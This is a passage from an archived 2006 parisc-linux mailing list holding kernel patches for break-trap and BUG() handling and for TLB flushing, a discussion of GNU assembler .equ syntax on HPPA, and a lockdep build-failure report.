-		printk(KERN_DEBUG "break %#08x: pid=%d command='%s'\n",
-		       iir, current->pid, current->comm);
+	if (unlikely(iir != GDB_BREAK_INSN)) {
+		printk(KERN_DEBUG "break %d,%d: pid=%d command='%s'\n",
+			(iir>>13) & ((1<<13)-1), iir & 31,
+			current->pid, current->comm);
 		show_regs(regs);
-#endif
-		si.si_signo = SIGTRAP;
-		si.si_code = TRAP_BRKPT;
-		si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
-		force_sig_info(SIGTRAP, &si, current);
-		return;
 	}
-}
-
+#endif
 
-int handle_toc(void)
-{
-	printk(KERN_CRIT "TOC call.\n");
-	return 0;
+	/* send standard GDB signal */
+	handle_gdb_break(regs, TRAP_BRKPT);
 }
 
+
 static void default_trap(int code, struct pt_regs *regs)
 {
 	printk(KERN_ERR "Trap %d on CPU %d\n", code, smp_processor_id());
 	show_regs(regs);
 }
 
-void (*cpu_lpmc) (int code, struct pt_regs *regs) = default_trap;
+void (*cpu_lpmc) (int code, struct pt_regs *regs) __read_mostly = default_trap;
 
 
 void transfer_pim_to_trap_frame(struct pt_regs *regs)
@@ -572,7 +559,7 @@ void handle_interruption(int code, struc
 
 	case  9:
 		/* Break instruction trap */
-		handle_break(regs->iir,regs);
+		handle_break(regs);
 		return;
 	
 	case 10:
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 7b943b4..7b149df 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -68,6 +68,8 @@ SECTIONS
 
   RODATA
 
+  BUG_TABLE
+
   /* writeable */
   . = ALIGN(ASM_PAGE_SIZE);	/* Make sure this is page aligned so
   				   that we can properly leave these
diff --git a/include/asm-parisc/bug.h b/include/asm-parisc/bug.h
index 695588d..367e458 100644
--- a/include/asm-parisc/bug.h
+++ b/include/asm-parisc/bug.h
@@ -1,14 +1,42 @@
 #ifndef _PARISC_BUG_H
 #define _PARISC_BUG_H
 
+/*
+ * Tell the user there is some problem.
+ * The offending file and line are encoded in the __bug_table section.
+ */
+
 #ifdef CONFIG_BUG
 #define HAVE_ARCH_BUG
-#define BUG() do { \
-	printk("kernel BUG at %s:%d!\n", __FILE__, __LINE__); \
-	dump_stack(); \
-	panic("BUG!"); \
-} while (0)
+
+/* the break instruction is used as BUG() marker.  */
+#define	PARISC_BUG_BREAK_ASM	"break 0x1f, 0x1fff"
+#define	PARISC_BUG_BREAK_INSN	0x03ffe01f  /* PARISC_BUG_BREAK_ASM */
+
+#ifdef CONFIG_DEBUG_BUGVERBOSE
+#define BUG()								\
+	do {								\
+		asm volatile("\n"					\
+			     "1:\t" PARISC_BUG_BREAK_ASM "\n"		\
+			     "\t.pushsection __bug_table,\"a\"\n"	\
+			     "2:\t.long 1b, %c0\n"			\
+			     "\t.short %c1, 0\n"			\
+			     "\t.org 2b+%c2\n"				\
+			     "\t.popsection"				\
+			     : : "i" (__FILE__), "i" (__LINE__),	\
+			     "i" (sizeof(struct bug_entry)) );		\
+		for(;;) ;						\
+	} while(0)
+
+#else
+#define BUG()								\
+	do {								\
+		asm volatile(PARISC_BUG_BREAK_ASM : : );		\
+		for(;;) ;						\
+	} while(0)
+#endif
 #endif
 
 #include <asm-generic/bug.h>
 #endif
+
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Sun, 10 Dec 2006 18:15:57 +0100
Lines: 174
Approved: news@gmane.org
Message-ID: <200612101815.58082.deller__2707.44619560919$1416624229$gmane$org@gmx.de>
References: <200612022113.kB2LDNrS007088@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624229 21758 80.91.229.3 (22 Nov 2014 02:43:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Dec 2006 17:16:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 10 Dec 2006 18:16:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDF427D96C;
	Sun, 10 Dec 2006 10:16:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30629-06; Sun, 10 Dec 2006 10:16:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F09A37D975;
	Sun, 10 Dec 2006 10:16:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 783BE7D96D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Dec 2006 10:16:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30613-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Dec 2006 10:16:14 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 6BE327D96C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Dec 2006 10:16:13 -0700 (MST)
Original-Received: (qmail invoked by alias); 10 Dec 2006 17:16:10 -0000
Original-Received: from mnhm-590c2f0a.pool.einsundeins.de (EHLO p100.box) [89.12.47.10]
	by mail.gmx.net (mp043) with SMTP; 10 Dec 2006 18:16:10 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200612022113.kB2LDNrS007088@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1XhKDMczQEVsAujDZnVpS9JKNzg2NcKk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24136

Hi Dave,

On Saturday 02 December 2006 22:13, John David Anglin wrote:
> > a)
> > LABEL:		.equ VALUE		; NOTE: LABEL with COLON ':'
> > worked before on Linux, will still work. No idea about HPUX
> 
> It works on hpux.
> 
> > b)
> > LABEL 		.equ VALUE		 ; NOTE: LABEL without COLON ':'
> > never worked on Linux, and will still not work. 
> > Standard on HPUX, so gnu as never followed HP-UX here.
> 
> This also works on hpux.  I don't understand your comment about
> GNU as not following the behavior of HP as.  This is the only
> variant allowed by HP as.

I'm not sure why you didn't understood it... Maybe you just mis-read my comment ?
GNU as on Linux does _not_ accept this one, while HP as _accepts_ this syntax only.
So, GNU as and HP as differ in this one, and GNU as does not implement what HP as does.

> > c)
> > 			.equ VAR,VALUE 
> > standard gnu syntax. Didn't worked before on Linux. Will work now.
> > HP-UX probably never allowed this one.
> 
> This isn't good enough.  Either it should work under hpux or be rejected.

I think this is the culprit.
You say, that if this syntax isn't allowed on HP/UX, then it shouldn't be allowed at all on Linux either.

My thinking is, that it seems to be allowed on Linux on most(all?) platforms _except_ PARISC.
The idea of my patch was to make GNU as on Linux/HPPA understand the same things as GNU as on other _Linux_ platforms.
That's completely unrelated to and ignoring what HP as allows or forbid.

> > d)
> > LABEL:		.equ VAR,VALUE
> > never worked on Linux. Will still not work. Use eiter "LABEL:" or "VAR".
> > HP-UX probably never allowed this one.
> 
> Probably, pa_equ should be updated to check that the rest of the line
> is empty.  See s_set for an example.

But then it would be incompatible to HP-as as well.... ?!?
It's inconsitent with your comment to c)

> > @@ -3262,7 +3262,7 @@
> >        return;
> >      }
> >  
> > -  /* Look up the opcode in the has table.  */
> > +  /* Look up the opcode in the hash table.  */
> >    if ((insn = (struct pa_opcode *) hash_find (op_hash, str)) == NULL)
> >      {
> >        as_bad ("Unknown opcode: `%s'", str);
> 
> This typo fix should be a separate patch.  It's fine with the addition
> of a ChangeLog entry.

Ok.

> > @@ -6397,8 +6397,11 @@
> >      {
> >        if (reg)
> >  	as_bad (_(".REG must use a label"));
> > -      else
> > -	as_bad (_(".EQU must use a label"));
> > +      else {
> > +	/* Try gas' standard ".equ X,Y" pseudo opcode.  */
> > +      	s_set(0);
> > +	return;
> > +      }
> 
> I still have a problem with this part.  It drops the ".EQU must use a label"
> error message and s_set has no equivalent error message.  In order to support
> the alternative syntax, you need to parse the rest of the manner similar
> to that done in s_set.  We need a message that handles both ".EQU must use
> a label" and "expected symbol name".

Why do you want the ".EQU must use a label" message ?
Either the user writes
	LABEL:		.equ 5
or
				.equ LABEL , 5
In both variants the user gets a correct error message if the syntax was written wrong.

> The other problem that I see is the dropping of the check on the
> expression value:
> 
>           fudge_reg_expressions = 1;
> 	  seg = expression (&exp);
> 	  fudge_reg_expressions = 0;
> 	  if (exp.X_op != O_constant
> 	      && exp.X_op != O_register)
> 	  ...
> 
> This is likely to be problematic under hpux.  Even under linux,
> the two alternative forms don't handle equivalences in the same
> way.  Compare what assign_symbol does compared with pa_equ.

I would need to check this...
 
> It's certainly possible to do the checks described above.  However,
> I have to wonder if it wouldn't be simpler to just do the following:
> 
> #if !(defined (OBJ_ELF) && (defined (TE_LINUX) || defined (TE_NetBSD)))
>   {"equ", pa_equ, 0},
> #endif
> 
> This would yield the normal GNU syntax under linux and netbsd, and
> retain the existing syntax for other targets.  This might cause some
> current code to fail but it's not a problem for GCC.

I think this is my preferred solution.
(Is there any original HP assembly code at all compiled under Linux with GNU as ?)

> >  @ifset HPPA
> > -The syntax for @code{equ} on the HPPA is 
> > -@samp{@var{symbol} .equ @var{expression}}.
> > +On HPPA the following syntax may be used alternatively:
> > +@samp{@var{symbol:} .equ @var{expression}}
> 
> This also isn't quite right.  See my comment to "b)".  Symbol must
> be a label symbol.

Hmm... I just added the colon. What is exactly wrong ? Do you mean:
+@samp{@var{label:} .equ @var{expression}}

> >  @ifset HPPA
> > -The syntax for @code{set} on the HPPA is
> > -@samp{@var{symbol} .set @var{expression}}.
> > +Alternatively the syntax for @code{set} on the HPPA is
> > +@samp{@var{symbol:} .set @var{expression}}.
> >  @end ifset
> 
> Both the original and proposed change aren't right.  There is no
> special handling for .set on HPPA (see md_pseudo_table).  So, the
> HPPA bit can just be deleted.

Ok.

> In standard GNU syntax, .equ and .set are synonyms.  Since .set has
> the standard behavior, it can be used instead of .equ.  That's why
> I question modifying the syntax of .equ, but I will accept the
> change if it provides a behavior similar to the current behavior.

I see...
- .set can be used instead of .equ
- but: .equ can not be used instead of .set

Or the other alternative would be to just change all ".equ" in ".set" in:
src/binutils/testsuite/binutils-all/localize-hidden-1.s


I'm not sure how to continue now.
I was just playing around with binutils for parisc and the testsuite failed.
My trivial patch fixed it, but it seems there are more changes necessary to
"provide a behavior similar to the current behavior". I think you are right
in asking for this, but personally I don't have time and interest to dig
deeper into this problem.
You said in another mail, that 
"At the moment, I don't see a strong need to do the update."
I agree on this and since it's not really important for me either, I'm better
dropping the whole patch now.

Thanks a lot for your feedback and suggestions,
Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] About lockdep: failed to build
Date: Mon, 11 Dec 2006 11:21:27 +0100
Lines: 130
Approved: news@gmane.org
Message-ID: <JA3U3R$DEA0492018ABF202C53B203ACCE05ACB__43597.0437516973$1416624229$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624229 21759 80.91.229.3 (22 Nov 2014 02:43:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:49 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2006 10:21:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 11 Dec 2006 11:21:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAE297DA50;
	Mon, 11 Dec 2006 03:21:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08333-02; Mon, 11 Dec 2006 03:21:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3E577DA4D;
	Mon, 11 Dec 2006 03:21:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70FB07DA46
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 03:21:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07928-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 03:21:38 -0700 (MST)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 834967DA44
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 03:21:37 -0700 (MST)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id kBBALRO06938
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 11:21:27 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FnU3Av04a2A7W7vDOHQyFO8yOWhhagfo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24137

Hi all,

Just giving a try of new lock dep, I got following build failure:

mkdir -p arch/parisc/kernel/
  hppa64-linux-gnu-gcc -Wp,-MD,arch/parisc/kernel/.asm-offsets.s.d  -nost=
dinc
-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.2/include -
D__KERNEL__ -Iinclude -Iinclude2 -I/CAD/linux-2.6.19-lockdep-20061207/inc=
lude
-include include/linux/autoconf.h -I/CAD/linux-2.6.19-
lockdep-20061207/. -I. -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs
-fno-strict-aliasing -fno-common -O2 -pipe -mno-space-regs -
mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=3D2.0
-mschedule=3D8000 -fomit-frame-pointer -fno-stack-protector -Wdec
laration-after-statement -Wno-pointer-sign  -D"KBUILD_STR(s)=3D#s"
-D"KBUILD_BASENAME=3DKBUILD_STR(asm_offsets)"  -D"KBUILD_MODNAME=3DKBUI
LD_STR(asm_offsets)" -fverbose-asm -S -o arch/parisc/kernel/asm-offsets.s=

/CAD/linux-2.6.19-lockdep-20061207/arch/parisc/kernel/asm-
offsets.c
In file included from include2/asm/bitops.h:7,
                 from /CAD/linux-2.6.19-lockdep-20061207/include/linux/bi=
tops.h:9,
                 from
/CAD/linux-2.6.19-lockdep-20061207/include/linux/thread_info.h:20,
                 from
/CAD/linux-2.6.19-lockdep-20061207/include/linux/preempt.h:9,
                 from
/CAD/linux-2.6.19-lockdep-20061207/include/linux/spinlock.h:49,
                 from
/CAD/linux-2.6.19-lockdep-20061207/include/linux/capability.h:45,
                 from /CAD/linux-2.6.19-lockdep-20061207/include/linux/sc=
hed.h:46,
                 from
/CAD/linux-2.6.19-lockdep-20061207/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/atomic.h: In function '__atomic_add_return':
include2/asm/atomic.h:143: error: too many arguments to function
'__raw_local_irq_save'
include2/asm/atomic.h:147: warning: implicit declaration of function
'__raw_local_irq_restore'
include2/asm/atomic.h: In function 'atomic_set':
include2/asm/atomic.h:154: error: too many arguments to function
'__raw_local_irq_save'
include2/asm/atomic.h: In function '__atomic64_add_return':
include2/asm/atomic.h:233: error: too many arguments to function
'__raw_local_irq_save'
include2/asm/atomic.h: In function 'atomic64_set':
include2/asm/atomic.h:245: error: too many arguments to function
'__raw_local_irq_save'
In file included from /CAD/linux-2.6.19-lockdep-20061207/include/linux/bi=
tops.h:9,
                 from
/CAD/linux-2.6.19-lockdep-20061207/include/linux/thread_info.h:20,
                 from
/CAD/linux-2.6.19-lockdep-20061207/include/linux/preempt.h:9,
                 from
/CAD/linux-2.6.19-lockdep-20061207/include/linux/spinlock.h:49,
                 from
/CAD/linux-2.6.19-lockdep-20061207/include/linux/capability.h:45,
                 from /CAD/linux-2.6.19-lockdep-20061207/include/linux/sc=
hed.h:46,
                 from
/CAD/linux-2.6.19-lockdep-20061207/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/bitops.h: In function 'set_bit':
include2/asm/bitops.h:33: error: too many arguments to function
'__raw_local_irq_save'
include2/asm/bitops.h: In function 'clear_bit':
include2/asm/bitops.h:44: error: too many arguments to function
'__raw_local_irq_save'
include2/asm/bitops.h: In function 'change_bit':
include2/asm/bitops.h:55: error: too many arguments to function
'__raw_local_irq_save'
include2/asm/bitops.h: In function 'test_and_set_bit':
include2/asm/bitops.h:67: error: too many arguments to function
'__raw_local_irq_save'
include2/asm/bitops.h: In function 'test_and_clear_bit':
include2/asm/bitops.h:82: error: too many arguments to function
'__raw_local_irq_save'
include2/asm/bitops.h: In function 'test_and_change_bit':
include2/asm/bitops.h:97: error: too many arguments to function
'__raw_local_irq_save'
make[2]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
make[1]: *** [prepare0] Error 2
make: *** [vmlinux] Error 2

A quick look at the first pb into precompile stuff:
asm-offsets.i
[snip]
static __inline__ __attribute__((always_inline)) int __atomic_add_return(=
int
i, atomic_t *v)
{
 int ret;
 unsigned long flags;
 do { raw_spinlock_t *s =3D (&(__atomic_hash[ (((unsigned long) v)/64) & =
(4 -1)
])); __raw_local_irq_save(flags); __raw_spin_lock_flag
s(s, 0); } while(0);

 ret =3D (v->counter +=3D i);
[snip]

May be did I missed something in my git download:
As it's on another system I first clone git tree:
    # git-clone http://www.parisc-linux.org/git/linux-2.6.git parisc-2.6
(no other protocle available)
    # cd parisc-2.6
    # git-pull origin lockdep:lockdep

(a quick check seems that
<http://git.parisc-linux.org/?p=3Dlinux-2.6.git;a=3Dcommitdiff;h=3D424ecd=
8b73ae27bd97bf2f8e987239d3d2ee2d08>
is well in this local tree?)

Hth,
    Joel

PS: Just quick and dirty test, unfortunately I don't have any more much m=
ore
time to investigate in more details, sorry.---=0AScarlet One - Combinez l=
'ADSL avec la telephonie fixe illimitee et epargnez 400 euros=0Ahttp://ww=
w.scarlet.be =0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] tlbflush "improvement"
Date: Tue, 12 Dec 2006 00:24:41 +0800
Lines: 56
Approved: news@gmane.org
Message-ID: <457D8649.8080306__5632.49022602594$1416624230$gmane$org@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624230 21761 80.91.229.3 (22 Nov 2014 02:43:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:50 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2006 16:25:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 11 Dec 2006 17:25:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 509A37DA8B;
	Mon, 11 Dec 2006 09:25:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12626-09; Mon, 11 Dec 2006 09:25:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AAF27DA90;
	Mon, 11 Dec 2006 09:25:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B1617DA8B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 09:24:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12626-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 09:24:49 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 706817DA62
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Dec 2006 09:24:49 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50) id 1GtnxH-0003XF-9k
	for parisc-linux@lists.parisc-linux.org; Tue, 12 Dec 2006 00:24:39 +0800
User-Agent: Thunderbird 1.5.0.2 (X11/20060516)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: X7FPdId3Iyd1EvqQe2drLJxaa2FkZtWd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24138

This patch tries to get rid of our current "blow away the tlb on each 
fork()" behavior in SMP builds. Tested lightly on pa8800. Comments welcome.

I say "improvement" in quotes because I did not see a significant perf 
improvement in kernel build times, but theoretically it should be more 
performant :)

I think we need to do some threading testcases to exercise this 
sufficiently.... any volunteers? :)

randolph

diff --git a/include/asm-parisc/tlbflush.h b/include/asm-parisc/tlbflush.h
index f662e83..2e8c2bd 100644
--- a/include/asm-parisc/tlbflush.h
+++ b/include/asm-parisc/tlbflush.h
@@ -39,21 +39,19 @@ extern void flush_tlb_all_local(void *);
   * etc. do not do that).
   */

-static inline void flush_tlb_mm(struct mm_struct *mm)
+static inline void __flush_tlb_mm(void *mmv)
  {
-       BUG_ON(mm == &init_mm); /* Should never happen */
+       struct mm_struct *mm = (struct mm_struct *)mmv;
+       if (mm == current->active_mm)
+               load_context(mm->context);
+}

-#ifdef CONFIG_SMP
-       flush_tlb_all();
-#else
-       if (mm) {
-               if (mm->context != 0)
-                       free_sid(mm->context);
-               mm->context = alloc_sid();
-               if (mm == current->active_mm)
-                       load_context(mm->context);
-       }
-#endif
+static inline void flush_tlb_mm(struct mm_struct *mm)
+{
+       if (mm->context != 0)
+               free_sid(mm->context);
+       mm->context = alloc_sid();
+       on_each_cpu(__flush_tlb_mm, mm, 1, 1);
  }

  extern __inline__ void flush_tlb_pgtables(struct mm_struct *mm, 
unsigned long s
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
